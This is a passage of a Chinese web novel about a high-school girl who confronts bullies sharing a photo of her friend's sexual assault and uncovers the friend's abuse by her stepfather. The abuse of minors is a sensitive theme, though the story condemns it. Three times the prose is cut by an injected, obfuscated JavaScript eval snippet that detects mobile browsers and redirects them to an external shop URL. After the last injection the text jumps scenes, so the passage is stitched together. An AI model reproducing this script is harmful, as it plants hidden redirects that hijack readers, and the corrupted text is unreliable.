与背景中深蓝泳池相映照的纯白色泳衣原本将少女姣好的身姿包裹其中,从漂亮的锁骨到白皙的手腕都在其中,如今却被她身上的赤.裸男人毫不留情地撕拉成一片片碎片,混乱地散落在她身边。 “这腿比片子里那些女的还长,手机拍出来都这么白,什么麻美里美的,跟这比起来算个毛啊。” “胸真大,看看这欲拒还迎的表情,太他妈色了!” 可相片中的少女却分明不是他们口中的欲拒还迎。 她用手臂徒劳地捂住了胸前的皮肤,男人凑在她脸边,紧紧地扣住了她的身体,阻止她的逃跑,少女仓皇而恐惧地扭头向另一边,天鹅般的脖颈上露出了用力挣扎的青筋。 她哭红的眼眶里还在不断地流下眼泪,砸在泳池地板上,却转瞬就被冲刷上来的池水给淹没,只能死死地咬住嘴唇,不甘地哽咽。 男人的身形背对着镜头,似乎并没有注意到暗处还有一双兴奋的眼注视着这一切。 “以前在四中的时候对着咱们冷言冷语的,现在还不是要眼巴巴地舔上来,8号还要约咱们出门,女人这种东西就是贱得慌。” “到时候舔得你爽了就不这么说了,这可是四中校花——他妈的,谁整老子?!” 黄毛李思华令人作呕的发言没能说完,他惊疑不定地跳了起来,湿淋淋的像条哈巴狗。 一个抱着可乐的女生不知道什么时候出现在了他们身后,她手中,一瓶刚打开,充满二氧化碳气泡的可乐从头到脚淋了他一个透心凉! 44. 第 44 章 李思华被可乐的冰凉给淋得打了个激灵,他抹了一把还在滴水不停的脸,恶狠狠地看向肇事者:“你他妈没长眼睛啊!” 回应他的是“咔擦”一声,可乐瓶被捏爆发出的脆响。 站在李思华面前的女生双眸中像是燃烧着火焰,她面无表情地盯着他看了一秒,目光紧接着锁定在他身边的顾延身上。 她抿紧嘴唇,伸出手想把那只手机抢过来。 顾延显然防着她,手臂一收,手机屏幕就暗了下去,和她拉开距离。 “他妈的,想抢我手机?有病吧你!” 林语禾却不肯就此罢休,她紧紧闭着嘴唇,一句话也不说,只是执拗地要去抢那只手机。 她眼睛泛红酸涩,谁在说些什么,在她的耳朵里都已经化为了嗡嗡的噪音,整个视野中只剩下那个崭新的IPHONE4。 她的手拽住了顾延的衣领—— 她必须要把手机抢过来。 她必须要把那张照片删掉! 可她的祈愿没有奏效,林语禾只感觉自己的肩膀被重重一推,整个人瞬间失去平衡往后栽倒,在乒铃乓啷的混乱声响中,她勉力撑住身后的卡座沙发,才没真的摔倒在地。 “疯婆子,他妈的。” 顾延不爽地理了理衣领,陈臣安不知道什么时候也站了起来,毫无疑问刚刚推林语禾的那一把就是他的杰作。 “抢延哥手机,我看你是活腻了。”李思华骂道,又狗腿地讨好顾延,“延哥,你没事吧?” 林语禾死死地盯着他们。 “人渣……”她喃喃。 “人渣。” “人渣!” 愤怒,原来可以让人听不见任何声音,忽略掉周围所有一切人与事。 剧烈飙升的肾上腺素化为急促的心跳鼓动,在林语禾耳边像是鼓点一样,“咚咚”地响个不停,她拼命地喘着气,要拼尽全身力气,才能绷住理智的那根弦,不让怒火彻底将她淹没。 可她无法控制那些愤怒在脑海中横冲直撞。 无法控制地反复回忆起刚刚顾延展示给其他人看的那张照片,那个女生眼角的眼泪,那是她再熟悉不过的一张脸。 曾经在她即将溺水的时候向她伸出手的白色人鱼,会在她晕车难受时耐心照顾她的那个文静少女。 晓阳。 林语禾明白了她为什么总是安静而忧郁,带着一点拒人于千里之外的冷淡。 关野那句“你了解她什么”,像是魔咒一样在她脑海反复回荡。 内疚,懊悔,震惊……无数情绪在林语禾内心翻涌搅动。 她的确什么也不知道。 她不知道自己的朋友经历过这样残忍的对待。 她也不知道竟然还有这样的人渣,会把别人的痛苦当做一中谈资,甚至把欣赏这种痛苦,当做乐趣。 这是不是仅仅是晓阳经历的冰山一角? 晓阳在四中,又经历了什么? 这些人在四中是不是也这样欺负羞辱她? 他们还对晓阳做过什么? 无数疑问在她脑海交织,林语禾沉默地看向了面前的顾延等人。 他们神情不耐,嘻嘻哈哈,像是丝毫没有把这件事放在心上,也完全不觉得自己和人分享一个女孩受害的照片有什么不对。 ——这就是一群人渣。 咔擦。 理智的弦在这一刻彻底崩断,林语禾把剩下的可乐瓶用力砸了过去,紧接着整个人扑了上去,像是一头暴怒的野兽一样,死死地撕咬着对方。 她突然暴起,对方显然措手不及,晚了半拍才反应过来,但几个人高马大的男性,力气根本不是林语禾这么一个普通女生能相提并论,很快她就被这群不怀好意的校霸给团团包围住。 就在这时,人群中却响起来两声清脆的怒斥。 “烂人,给我撒手!” “离小禾远点,走开啊!” 是莫雨娜和许归苑。 久久没等到林语禾回来,两人还在纳闷她到底做什么去,却突然听到一阵喧哗,紧接着就看到林语禾和那群坏学生打了起来。 明明刚刚小禾还答应她们,不会和他们起冲突的! 两人是又急又怕,小禾不是随随便便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612823|140782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和人撕起来的性格,能把她气到和人动手,这群渣滓不知道又做了什么天怒人怨的事情。 另一方面,她们却也怕林语禾真的被愤怒冲昏了头脑——一个女孩子和男生打群架,不对,是她一个人,和人家一群人打群架,那不是妥妥的弱势吗! 更别说这群人还个个家里有权有势,敢在班上横行霸道,连班主任都拿他们没办法,小禾要是和他们结下了梁子,万一被他们报复怎么办?! 可想归想,真看见林语禾被顾延他们一边倒地欺负,莫雨娜和许归苑忍不下去了,两人挽起袖子,毫不犹豫地冲向了战场中央,要保护自己的朋友。 报复……那就报复呗,她们要是连朋友都保护不了,还有什么脸面和小禾一起玩? 两人战斗力也不高,用指甲抓,用牙咬,用脚踩,有什么用什么,顾延几人一时还真被她们的“乱拳”给伤得不轻,等他们反应过来,下手就更重了。 林语禾的头发被人扯住,头皮像要被撕裂一样,她却不吭声,只是咬紧牙伸手去够那只近在咫尺的IPHONE4。 照片。 她心心念念,只有那张绝对不能被人看见的照片——她不想再眼睁睁地看见晓阳的痛苦被他们拿来彼此分享,乐此不疲地讨论。 这是最近的一次。 可下一秒,人群混战在了一起。 不知道谁推搡了一把,那只手机顿时滑落在了地上,还被人踩了两脚。 林语禾眼前一黑,更汹涌的怒火从她胸膛里喷薄而出。 她几乎是恶狠狠地瞪着这群面色不逊的男生,指甲嵌进掌心的肉里,痛楚混合着一股破坏的冲动,支配着她毫不犹豫地往眼前的那只手,狠狠地咬了下去! “我操!” “疯了,这疯婆娘——” 现场一片混乱,怒吼,尖叫,沙发和键盘被推来搡去发出的声响。 狼藉之中,其他上网的顾客纷纷避之不及地躲到一边,在腥风血雨的战火中艰难地呼唤着救兵—— “老板,老板人呢,这里有人打起来了!” “快报警,找警察来!” 45. 第 45 章 “在场目击的都说是你先动手,原因?” “……” “林语禾,我在问你话!” “好了好了,老陈,对小姑娘别这么大火气,林语禾,你好好说说,是有什么原因,你才会和他们发生冲突?” 老陈瞪了一眼身边的闫求真,这话说得也太有偏向性了,好像不是那几个男生做了什么,林语禾就不会动手似的……当然,他内心里也觉得事情多半如此,可小姑娘自从进了房间,就一直没抬起头说过话,他也多了几分焦躁。 就在老陈以为这回林语禾还是会什么都不说的时候,女孩却慢慢地抬起头。 她头发乱糟糟的,衣服拉链拉下来半截,被人暴力扯断了,看上去有些不像样。 “他们是人渣。” 她的声音有些嘶哑,语气却像是淬了火一样,带着深深的憎恶。 老陈向前俯身,试图从她嘴巴里听到更多内容:“为什么这么说?” 女孩的目光黯淡了下去,她嗫嚅了一下,像是想说什么,可最终什么都没说,一双手紧紧地攥紧放在膝盖上,一声不吭,保持沉默。 又变成了他们之前问询时那副模样! 老陈急得跳脚,闫求真按住他肩膀,尝试和小姑娘沟通:“那你能不能告诉我们,为什么和他们打架?” “……” “是因为那个手机?” 林语禾的目光动了动,闫求真抓紧这个瞬间,追问:“手机里面有什么东西?” “……” 她不说话了,低下头去,连最后的交涉也宣告失败。 “这小姑娘怎么就是什么也不肯说!”从会议室出来,老陈忍无可忍地和闫求真抱怨,“难道我们会害她不成!” 只有那句“人渣”是林语禾唯一回答的内容,更多的线索,原因,她什么也不愿意说,就像是一只紧紧闭合起来的贝壳,闫求真怀疑他就是拿刀子来撬,也撬不开她的嘴巴。 闫求真只能苦笑,他们,尤其是他,对林语禾并不陌生,之前这姑娘拿了宣城市见义勇为的表彰,还是他负责给拿到家里去的,愿意在那种危险情况下救人,还有勇有谋,没把自己搭进去,这半个月公安局可没少讨论这姑娘。 就是因为他们不认为林语禾会做坏事,所以老陈才会这么着急上火,他才会这么束手无策,她越是不配合,他们越是难办。 闫求真下意识要找烟,想到会议室里坐着个女孩子,他摸烟的手又收了回来,幸好这时去负责另一边调解的小队员小跑着回来汇报,顾延决定不追究林语禾损坏私人财物的责任。 两个老警察都松了一大口气,老陈赶紧让小队员带着他过去,要让顾家签东西把这事儿给落实到白纸黑字上,免得之后又反口追究,还要好好训诫他们,把公安局当什么了,三天两头地进! 闫求真反身推开了会议室的大门。 “行了,那边不打算把事情闹大,也不要你赔偿手机,这下没什么事儿了。”他换上了轻松的语气,“我们这边通知你妈来接你了,等会人来签个字就可以走了。” 听到“手机”两个字,林语禾抬起头来,那双琥珀色的眸子动了动,闫求真以为她是没反应过来,又耐心解释:“毕竟是最新款的IPHONE,要是赔起来价格可不低,而且你也已经满16岁了,具备民事能力,真要是追究你的责任,那就不是小事了。” 他叹了口气,示意林语禾起身跟他往外走:“下次做事不要这么冲动,那几个男生到底是什么人,你又不了解,贸贸然和他们发生冲突,最后受伤的还是你自己。” 光是这个月,那几个男生就不是第一次进公安局了,他们平时没少跟人打架斗殴,不知道进来过多少次,次次都是家里来摆平,显然不是林语禾一个普通女孩能应付的。 “……人渣。”林语禾低声喃喃道,“我知道,他们就是一群人渣。” “是人渣,你就更应该远离他们。”闫求真看了他一眼,老陈不在,他说话更直白了一些,“跟人渣纠缠,是在浪费你的人生。” 林语禾低着头没说话,闫求真带着她回大厅的长椅上坐下,没两分钟,常美琴就赶来了。 正好是饭点,常美琴接到电话只觉得魂飞魄散,只来得及脱掉身上的围裙,披了件外套就往公安局赶。 见到女儿浑身狼狈的样子,常美琴又是生气,又是心疼,还是拼命按捺下来,先和闫求真道歉:“不好意思,不好意思,真是给你们添麻烦了……” “没有的事,都是我们分内的责任。” 常美琴又是连连道歉又道谢,她知道要是今天这事处理不好,女儿恐怕以后要摔大跟头,别的不说,她和学校同学打架,传出去以后在六中还怎么念书? “您是之前……送表彰到家里来那位,闫……闫警官?” “闫求真。” 沉默的林语禾忽然抬起了眼眸,看向了闫求真的方向,他敏锐地感知到小姑娘的视线,笑了笑:“怎么了,有什么想说的?” 林语禾欲言又止,可最终,她只是摇了摇头,像是放弃了什么似的,慢慢地垂下头去。 常美琴眉毛一竖,就想训女儿,闫求真和了个稀泥:“年轻人年轻气盛是正常的,平时多提醒一下做事冷静点就好,这孩子本心是善良的……” 直到坐上出租车,常美琴还是有些不快,看到身边女儿一副神游天外的样子,她好不容易被闫求真安抚下去的怒火又烧了起来。 顾忌到还在车上,她也抿唇不说话,等两人一到家,她把林语禾拉到茶几面前坐着,所有积压的情绪全部爆发了出来。 “你说说你,这国庆节一天天的往外跑,我那么信任你,还以为你真是和朋友玩儿去了,结果你做什么了?” “网吧!你连成年都没有,竟然就敢学那些混混,跑到网吧里去,你在网吧做什么,打游戏?我之前给你那些钱,是不是都给你充游戏里,给你养出网瘾了!” “还学那些不三不四的打架……林语禾,你才多大,你就让你妈不得不腆着脸去公安局签字带你回来,楼下李奶奶还以为你又拿了什么表彰,还夸你乖——你让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627878|140782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你妈怎么和人解释!” 充斥着不满与训责的炮轰,气氛僵硬的母女,难以插手的林勇……一切都好像回到了礼堂事故之前,回到母女关系冰点的时刻。 可常美琴不敢再这么放任下去了,她是真的害怕有一天公安局打电话来告诉她女儿进了监狱,变成了劳改犯! “这个国庆不准再出门,给我乖乖的待在家里,做作业也好复习也好,你要看电视玩手机都行,唯一的要求就是绝对不允许出门——老林,听到没有!” 本还指望着能缓和一下气氛的林勇被老婆瞪了一眼,蔫了下去:“听到啦听到啦!” “小禾,我说的话你听到没有!” “……听到了。” 林语禾声音很哑,很疲惫,看着女儿狼狈不堪的样子,常美琴心疼的情绪又压倒了愤怒,拉她过来在身边坐着,支使丈夫去拿急救箱来,给林语禾上药。 给女儿上好药,衣服头发什么的整理好,她这才放人回了卧室,自己留在客厅里和丈夫说话。 气归气,火大归火大,那也是当着面训女儿,林勇哪还不明白老婆对林语禾就是刀子嘴豆腐心,果不其然,中午常美琴借口动动筋骨,又亲自给女儿下厨做了菜。 林语禾似乎也因为这次吃了苦头,乖了许多,虽然话少了,却不像之前母女俩关系冷淡时一样,对她妈采取消极抵抗,不让她出门,她就听话地在房间里复习功课。 夫妻俩下午便决定出门去百货逛一逛,女儿这次和混混打架,衣服都给弄坏了,正好给她买件新的回来。 可谁知道等他俩再回到家,喊林语禾出来试衣服,半天都没人应,只有屋里的英语课文还在念。 常美琴开始还以为女儿是听英语太专注,没听见她说话,过了会儿才意识到不对劲,再拧开林语禾的房间门,里面哪还有她的人影。 就只剩一张便签纸——“妈,我有事情必须要去做,我会回家的。” 常美琴差点晕过去,小禾竟然趁她不在,从家里偷溜出去了! 与此同时,去往锦馨雅苑的路上,林语禾戴着帽子,脚下使劲蹬着踏板。 随着她的动作,自行车灵活地在街头巷尾穿梭着,景色在她眼前飞驰而过。 她最终还是没有听舒任的,向闫警官求助。 舒任应该会很生气吧。 她妈……现在估计也很生气,她都能想象得出来,常女士回家发现自己不在,会是怎样暴跳如雷。 可她也已经找不到其他办法了。 太阳一点点落了下去,晚风吹在身上有点凉,林语禾默默地用衣领埋住下巴,让温暖能多停留一会儿。 她得靠自己,她也只能靠自己。 两部手机放在挎包里,被她背在身上,随着自行车的颠簸,来回翻滚。 5233的屏幕中央,是她刚刚发给晓阳的短信。 “想见你一面,我现在来你家。” 5220XM昏暗的屏幕上,则映出她刚刚在备忘录留下的留言。 【我决定绑架晓阳。】 46. 第 46 章 锦馨雅苑。 姜晓阳也在卧室里看照片。 去省城欢乐谷那次,为了纪念拍了很多大头贴合照,她面前这张就是,画面上一个长发一个短发,两人头挨着头对着屏幕比“耶”,笑得眉眼弯弯。 一个是她,一个是林语禾。 姜晓阳弯了弯嘴角,摩挲着照片表面有些粗糙的纹路,她已经看过许多遍了,照片的边角都轻微卷翘了起来,她正想着要用什么书压一压,把它压平回去,卧室门忽然发出难听的吱呀声响。 她收起了脸上神色,连忙将那张照片反扣在了桌上摊开的书里。 “爸爸叫你,你怎么不应声呢?” “哒哒”,男人的拖鞋在地板上拖曳出声响,姜国栋肆意地审视着这间属于女儿的房间,丝毫没有闯入者的自觉,他踱到桌边,像是和她絮叨家常一样,拿起桌上合上的那本《相约星期二》。 “又在看这种书?” 姜晓阳抿紧唇,伸手去拿男人手里的那本书,却被轻巧地躲过:“怎么,爸爸不能看看你的书?” 这是一个问句,说这话的人却显然不认为她有拒绝的资格,男人翻了两页,百无聊赖,啧了一声,正要把书丢回去,一张照片却飘飘荡荡从里面漏了出来,被他捏在了指尖。 姜国栋神色玩味:“这是之前你们在省城拍的?” “……” 姜晓阳神色僵硬,姜国栋却并不在意,反而是津津有味地点评:“看看这张照片拍得多好,青春洋溢,光是看着照片,就让人充满了活力,还有你这个朋友——” “多像你小时候,那么阳光灿烂,笑起来还有两个小酒窝。” 姜国栋砸吧嘴,像是在回忆那次省城之旅里的惊鸿一瞥。 多么漂亮可爱的年轻女孩,带着青春的生机勃勃,饱满得像是水蜜桃一样的身体,好像那之后到现在,他的车里都还残留着那孩子身上的香味,让人像是喝醉了一样沉迷。 “可惜了,那次接你们回家,她一直在睡觉,爸爸没有什么时间和你的朋友好好聊聊。”姜国栋在“聊聊”两个字上加重了语气,他温和地笑了笑,像是一个面目慈祥的父亲,“怎么最近不见你跟她出去玩了呢?” “……” “听你妈说,她还来家里找你……哎,爸爸那天有事不在家,多不凑巧,要不,你再邀请一下你这位朋友来家里做客?” “……你做梦。” 姜晓阳终于开了口,却是冷冰冰的拒绝,她瞪视着眼前的男人,毫不掩饰自己的厌恶:“我不会带她来的……你做梦。” 见她反抗,姜国栋脸色也冷了下来,他冷笑两声,粗壮的手腕忽然狠狠用力,掐住姜晓阳的脖子,将她抵在了墙上,双脚悬空:“翅膀硬了,嗯?敢对着爸爸说‘不’……晓阳,爸爸是不是对你太宽容了?” 姜晓阳费力地呼吸着,修长的手指用力地往外掰开姜国栋的钳制,用力得青筋迸起,她却一步不退:“……我爸爸早就死了,你就是个……人、渣。” 姜国栋定定地看她一眼,忽然温柔地笑了起来,像是恶魔一样在她冷汗涔涔的耳边低语。 “那你又是什么?” “你有没有想过,如果她知道你有多脏,有多不堪,她还会和你做朋友吗?”男人的声音带着恶意,“不会,没有任何一个人,尤其是女人,会愿意和你这样下贱的人当朋友,光是看你一眼,她们都会觉得脏。” 少女一再剪短的齐耳短发缝隙里,还能依稀看到之前狠狠砸在副驾驶座上的伤口,后脑勺砸在墙壁上,让她眼前有些晕眩。 可姜国栋的声音在耳边阴魂不散。 “如果她变得和你一样,晓阳,你想想,到那时候,她就再也摆脱不了你了,除了你,谁还会和她当朋友呢?你也不用再受这些苦,晓阳,你是个大姑娘了,爸爸是为了你好。” 毒蛇吐着信子,引诱着遍体鳞伤的少女选择一条捷径。 “把这个小姑娘带到爸爸这儿来,爸爸就放你自由,好不好?” 姜晓阳却只是死死地盯着这个人,墨黑色的瞳孔里移映出男人扭曲的面孔。 “……你做梦。”姜晓阳艰难地扯了扯嘴角,第无数次重复同一句话,“我不会带她来的,你……想都不要想。” “……” 姜国栋面无表情地盯着她看了一会儿,就在姜晓阳肺里空气越来越稀薄,甚至感觉自己濒临死亡的时候,男人口袋里的手机却响了起来,姜国栋神情不耐地打开手机,在看到来电显示的那一刻立马换上了风度翩翩的温和表情。 “谢秘书,您好您好……哦,王总今天想来游泳馆看看成果?没问题,我马上就到。” 电话挂断,姜国栋松开手,少女的身体就像是断翅的风筝一样,瞬间滑落在了地上。 “老老实实在家反省,哪儿都不准去。”姜国栋神色阴冷,“爸爸不喜欢不乖不听话的女儿。” 姜晓阳没有回答,她什么话也说不出来,只能跪在地上捂着喉咙剧烈咳嗽。 姜国栋警告她之后转身就走,很快,外面传来了大门打开又合拢的声音。 恶魔暂时离开了巢穴,房子里再度变得冷清而安静。 喉咙里灼烧的痛楚缓过去一些,她把照片捡回来,抱着照片蜷缩成一团,双臂紧紧地环抱住自己的身体,眼前慢慢模糊,泪水砸下来,在地板上晕开水迹。 空气中传来隐忍而压抑的哽咽。 自从那次省城见过小禾以后,姜国栋就暗自盯上了这个新的“猎物”,不止一次在她面前提过小禾的名字。 威逼,利诱,暴力……他用了无数手段来逼迫她低头,无数次他都这样哄她:只要你找到了替死鬼,你就自由了。 然而姜晓阳做不到。 她的人生已经毁了,她做不到把一个无辜的人推入火坑,用来替代自己当牺牲品……何况小禾还真心当她是朋友。 藏在被子下面的手机振动了起来,姜晓阳眼眶红红的,看着地板上的花纹发呆。 过了好一会儿,她才吃力地从地上爬了起来,摇摇晃晃地摸索到那只古板而老旧的手机。 是一条短信。 发信人写着:“小禾”。 “想见你一面,我现在来你家。” 少女的目光顿住。 紧接着,她的眼睛睁大了。 ……来她家? 姜晓阳几乎是惊惶地站了起来,全然不顾喉咙在这样剧烈的动作下又产生了撕裂般的疼痛。 她却浑然不觉,按着键盘的手指都还在颤抖,输入进去的文字好几次都没能成功,她用力地敲击着那些数字,终于将回复发送了出去。 “车站等我。” 姜国栋的警告显然抵不过对朋友安危的担忧,姜晓阳慌慌张张地换好一身长袖长裤,捏紧手机就冲出了家门。 她跑得很快,脑海里却是止不住的后悔。 如果小禾没有看见这条短信…… 如果她正好撞上姜国栋…… 姜晓阳不敢再想下去,肺里的空气像是燃烧起来一样,本就难受不已的喉咙好像又被卡住一样,灼烧和撕裂的痛楚反复交缠,她却选择闷着头继续往前飞奔。 直到在车站看到那抹熟悉的身影,姜晓阳这才止住了脚步。 小禾没有和之前一样,在公交车站百无聊赖地坐着。 而是靠着一辆自行车。 她斜靠在车座上好像在看夕阳,自行车的脚撑稳稳地撑在地面,一双匀称的小腿在空中晃荡。 听见身后的脚步声,林语禾扭过头来,琥珀色的眸子顿时像月亮一样弯了起来,光线在她瞳孔里点缀成一盏小灯。 女孩从车座上跳下来,用力招手,喊她的名字:“晓阳!” …… 林语禾拽住车把手用力往前一推,把脚撑踢了上去,推着自行车小碎步跑到了晓阳跟前。 晓阳额头全是汗水,显然是一路飞奔下来,林语禾没想到她会这么匆忙,连忙慌手慌脚地去翻包:“我纸呢,我记得我带了纸巾来着……晓阳你先缓缓。” “小禾……”她头顶传来晓阳迟疑的声音,“你来找我,是有什么事吗?” 林语禾把纸巾找出来递到晓阳手心里,看着对方慢慢擦去额头的汗珠,她神秘一笑:“有个地方想带你去。” “……带我去?” “等会你就知道了!”见对方呼吸均匀了一些,不像是刚刚那么气喘吁吁,林语禾笑嘻嘻地拍了拍自行车的后座,“上来,我载你!” 她目光熠熠,衬着天边即将坠入地平线的橘红色夕阳,而身前的晓阳背对着阳光,长长的阴影从她肩膀轮廓打了下来,在地上拖出长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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【当时我告诉你,这场实验也许并没有失败,却没有告诉你答案,这个答案我已经找到了,那就是目的性。】 【目的性?】 【那场彩票实验的目的是什么?】 【测试我们是不是在同一条时间线上?】 【没错,在测试之前,你和我心里都明白,这场实验不是一场单纯的实验,我们是为了一个“确定的结果”才去做这件事。】 【确定的结果,就是彩票号码。】 【对,所以这个测试最终触发了观察者效应,彩票实验的结果出现了偏差。】 【“当你在凝视深渊的时候,深渊也在凝视你”?】 【回答正确。】 当一只猫意识到有人在看它,它或许就会选择来亲近人类,如果没有人类的目光,或许它一辈子都不会做出这个行为。 当林语禾收到来自2020年的“正确彩票号码”,她选择投注的一刹那,“正确的号码”就会发生偏移,最终失之交臂。 【你的意思是,绑架晓阳这件事……最后会和彩票实验一样?】 【不能否认有这个可能。】 林语禾明白,舒任是想用这个例子来提醒她不能冲动。 那对彩票实验林语禾来说,她只是失去了一次中大奖的好运,仍然收获了三千块钱的“天降横财”。 可晓阳呢,如果她的绑架计划最终会因为观察者效应而偏移,会发生什么……事情会不会变得更严重? 光是想想,林语禾就不寒而栗,可要她放弃这个计划,她也已经想不出更好、更万无一失的办法了。 她要怎么办? 就在这时,她看见了舒任新发来的留言。 【想要改变命运,那就要骗过观察者的眼睛。】 像是有一条无形的线,将十年前后两个人的思绪同步到了一起。 无数线索和细节在她脑海里飘散而过,万千谜团中,她抓住了那一缕灵光。 谁改变过命运?唯一答案,就是她。 六中的那次礼堂崩塌事故,她曾经改变过所有遇难者的命运,包括她自己。 【我好像知道要怎么做了。】 47. 第 47 章 Fish in 在一开始的跌跌撞撞之后,很快,这辆载人的小自行车就晃晃悠悠地攀上了沿江路,顺着江畔公园外头的非机动车道一路前行。 比起旁边轰轰前进的公交车与小汽车,它就像是一片被风吹落在池塘里的树叶,可无论风吹得它如何摇摇晃晃,它还是顽强地游往前方。 十月的晚风有些凉,晓阳将头发挽去耳后,即将落下山坡的太阳在宣江上投下粼粼波光,承载着两人的车轱辘吱嘎吱嘎地转。 从上了这条沿江路开始,林语禾就放慢了骑车的速度,她偏过头,明朗的声音顺着晚风传进了晓阳的耳朵里。 “晓阳,你还记不记得,我们之前也来过这里?” “……当然记得。” “那次我就想和你一起来这里看江景……结果天黑了没赶上。”林语禾说道,“这次要不要补上?” “……好。” 自行车稳稳当当地停在江畔公园尽头的观景台边,林语禾把车把手交到晓阳手里:“等我一下!” 片刻她再回来,手里竟然拿了两个脆皮甜筒。 “一个香草,一个香芋。”林语禾笑眯眯地把香芋味的递到晓阳手里:“香草归我。” “……” “你肯定在想,我为什么不买一样味道的。”林语禾轻声说道,看晓阳点了点头,她笑容更深了一点,“在欢乐谷那时候,雨娜和桂圆给我们俩都买的香草味,可是我们三个很快就吃完了,你还只吃了一点点。” “我一开始以为是你不喜欢吃冰淇淋,但后来我发现不是这样,你只是觉得香草味太甜了,吃完那只冰淇淋之后,你一直在喝水,香芋味就没那么甜……所以我猜,你当时说‘和她一样’,不是指的香草,而是指的香芋味。” “……”晓阳接过那支冰淇淋,“你观察得好细致。” 林语禾一只手拿着甜筒,另一只手拉着晓阳,将她带到观景台上,下面就是西流而下的宣江,货运船正好从这儿经过,长长的汽笛声,拖着落日的余晖,在宣江上投下粼粼的波光。 “不,我一点也不细致。”冰淇淋散发着香甜的气息,林语禾咬了一口,有些自嘲地说道,“我应该是世界上最粗心大意的人。” 如果真的足够细致,又怎么会迟钝到时至今日,才意识到那场溺亡的意外,或许不是晓阳贪玩下水游泳导致的悲剧? 又怎么会对晓阳一直以来讳莫如深,对自己的人生一笔带过这一点毫无觉察? 她转过来,看着沉默吃冰淇淋的晓阳,认真地说道:“……所以,我想重新了解你。” “……我?” “嗯。”林语禾点了点头,“没有什么理由……只是我想了解姜晓阳这个人,了解你。” 晓阳没说话,两人之间一时之间有些沉默,就在那支冰淇淋越来越小,只剩一个脆皮之后,她忽然笑了笑。 “……不是姜,而是江,宣江的江。”她按着被风吹起的鬓角碎发,双眸里映着宣江上的细碎光点,“我的名字,其实是江晓阳。” 她望着眼前的江水,“我出生在清晨,我爸说,他第一次抱起我的时候,正好产房外的太阳升起来——所以就有了我的名字,晓阳,破晓的太阳,无论遇到什么不快乐的事情,都能凭借自己的力量冲破它。” 林语禾意识到晓阳口中的“爸爸”并不是她曾见过的那个中年男人,晓阳提起这两个字的时候,语气亲昵,甚至带了几分温柔……与她和那个中年男人面对面时的冷漠沉默迥然不同。 晓阳给出了答案。 “只可惜,他不在了。”她转过头来,“为了给我买生日礼物,那一年春节我爸没有回家,而是留在了省城的工地上。” “那时候没办法视频通话,他只能借外面的公用电话给我打电话……但即使如此,我收到的第一个新年祝福,还是我爸。”晓阳的笑容有些温柔,“连小卖部都关了,我爸就一家一家地敲门,拿着钱拜托人家让他给家里打个电话。” “他说过年老板给了好几张红票子当奖金,说在省城看到一条漂亮的公主裙,等百货商场恢复营业,他就买了给我带回来,还说年景好,再辛苦几年就能把我读大学的钱攒出来,让我在家里等他的电话。” “……” “后来,我接到了电话,却是省城医院打来的……工地上的塔吊忽然倒了,我爸压在下面,当时人就没了。”晓阳轻声说道,“他攒下来那些钱,刚刚好够给他买一座公墓,小小的骨灰盒,就放在宣江对面的山顶上,其实挺好的,他还能天天看到这么漂亮的江景。” 晓阳伸出手,替林语禾整理好碎发:“别哭,已经过去很久了。” 可是林语禾没办法不哭,每一次她多了解眼前这个女孩多一点,她心里的难过就更浓了一些,她抽了抽鼻子,声音嗡嗡的:“……你爸爸很爱你。” “嗯,所以我也已经很满足了。”晓阳笑了笑,“有这么好的爸爸,还有你这么好的朋友……我还有什么不满足的呢?” 这句话带着强烈的消极意味,就好像对于未来完全没有期待一样。 林语禾不愿意看晓阳这样消沉:“当然不满足——” “我们还只去过省城的欢乐谷,省城以外那么多的地方我们都还没有一起去过……迪士尼,环球影城……”她绞尽脑汁地想着那些游乐园的名字,明明平时在班上总能听到别人讨论,可偏偏在这时候一个都想不起来,急得她额头都出了细汗,“全世界还有那么多地方,我们可以一起去!” “那些都太遥远了。”晓阳轻轻笑着,说话的尾音像是带着叹息,“就连宣城,我都只踏出去过那么一次……更不用说这些地方,太遥远了。” “一点也不遥远,你看——”林语禾焦急地反驳,她目光游曳,从晓阳肩头眺望出去,定格在不远处的大圆盘上,她扬起手,“那个摩天轮,我们就没有一起坐过呢!” 她语气急切,主动牵住了晓阳的手:“……我想和你一起坐。” …… 有谁能拒绝那么一双充满了希冀的眼睛呢,至少晓阳不是能拒绝的那个,等她回过神来,自行车已经呼呼地破开了晚风,一路奔驰到了游乐园的门口。 宣城游乐园,是这座小城里唯一一座游乐园,在各地大肆发展修建游乐设施的今天,它显得有些格格不入,这会儿天色渐晚,过山车、激流勇进之类的项目已经停止了营业,场馆正中央立着游乐园最受欢迎的的摩天轮,还在兢兢业业地上着班。 林语禾把自行车停进游乐园的停车棚,拉着晓阳去坐摩天轮。 在一众带着小孩的夫妻,以及神情幸福的情侣中,这两个年轻少女显得格外出众,周遭时不时就有人偷偷看她们,林语禾坦然,晓阳却对他们的目光很不自在。 